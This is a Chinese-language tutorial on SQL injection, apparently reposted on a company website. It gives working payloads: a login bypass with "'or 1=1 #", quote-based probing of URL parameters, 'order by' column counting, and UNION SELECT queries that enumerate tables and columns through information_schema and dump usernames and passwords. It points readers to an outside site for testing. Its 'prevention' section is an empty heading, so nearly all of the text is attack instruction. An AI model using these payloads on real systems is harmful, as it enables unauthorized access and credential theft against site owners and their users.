• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    SQL注入的实现以及防范示例详解

    什么是SQL注入

    SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

    Sql 注入产生原因

    我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

    登录案例讲解

    select * from admin where uname='用户名' and pwd='密码'

    输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)

    这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

    基于GET方式的SQL注入

    通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

    可登陆到mituan.zone进行测试

    1、' '1'' LIMIT 0,1 ' :多了一个单引号

    可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

    2、' ' LIMIT 0,1 ':多了一个单引号

    可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

    3、' '1'') LIMIT 0,1 ':多了一个单引号

    可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

    4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

    可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

    SQL注入利用

    1、利用order by判断字段数

    order by n(n为猜测字段数)--+
    

    以案例一为例

    select login_name,password from admin where id = 'id' limit 0,1
    用?id=1' order by 11--+
    

    猜测错误时则会报错

    此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

    ?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

    2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
    

    3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    

    4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

    union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)
    

    如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句






    这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

    SQL 注入的防范方法

    总结

    到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

    您可能感兴趣的文章:
    • Java SQL注入案例教程及html基础入门
    • MyBatis下SQL注入攻击的3种方式
    • Mybatis-Plus的应用场景描述及注入SQL原理分析
    • 如何有效防止sql注入的方法
    • Java使用过滤器防止SQL注入XSS脚本注入的实现
    • 实例介绍SQL注入以及如何解决
    • 有效防止sql注入的方法演示
    • 数据库之SQL注入原理以及过程的简单介绍
    上一篇:如何自己动手写SQL执行引擎
    下一篇:JMeter对数据库的查询操作步骤详解
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    SQL注入的实现以及防范示例详解 SQL,注入,的,实现,以及,防范,